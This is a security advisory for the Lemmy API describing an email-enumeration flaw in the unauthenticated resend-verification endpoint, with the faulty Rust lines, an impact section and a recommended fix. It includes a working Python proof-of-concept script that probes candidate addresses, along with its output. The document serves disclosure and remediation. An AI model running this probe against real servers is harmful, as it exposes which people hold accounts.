PT-2026-41501 · Crates.Io · Lemmy Api
Published
2026-05-06
·
Updated
2026-05-06
CVSS v4.0
5.5
Medium
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
Summary
The unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to
/api/v4/account/auth/resend verification email and distinguish accounts from misses.Details
resend verification email() looks up the submitted address and returns the lookup error to the caller:rust
let local user view = LocalUserView::find by email(&mut context.pool(), &email).await?;
check local user valid(&local user view)?;The password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.
Proof of Concept
The following script creates one user and probes that address plus a missing address.
python
import requests, random, string
BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL
ADMIN USER = "lemmy"
ADMIN PASS = "lemmylemmy"
PASSWORD = "Password123456!"
def post(path, **body):
return requests.post(BASE + path, json=body)
suffix = "enum" + "".join(random.choice(string.ascii lowercase) for in range(6))
admin = post("/account/auth/login", username or email=ADMIN USER, password=ADMIN PASS).json()["jwt"]
requests.put(BASE + "/site", headers={"Authorization": "Bearer " + admin},
json={"registration mode": "open", "email verification required": False})
email = "alice" + suffix + "@example.test"
post("/account/auth/register", username="alice" + suffix, password=PASSWORD,
password verify=PASSWORD, email=email).raise for status()
for candidate in [email, "missing" + suffix + "@example.test"]:
r = post("/account/auth/resend verification email", email=candidate)
print(candidate, "HTTP", r.status code, r.text[:300])
Output:
text
alicepoceudtpf@example.test HTTP 200 {"success":true}
missingpoceudtpf@example.test HTTP 404 {"error":"not found","cause":"Record not found"}Impact
A malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because
check local user valid() returns separate error types.Recommended Fix
Use the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return
{"success": true} for syntactically valid input.Found by aisafe.io
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Lemmy Api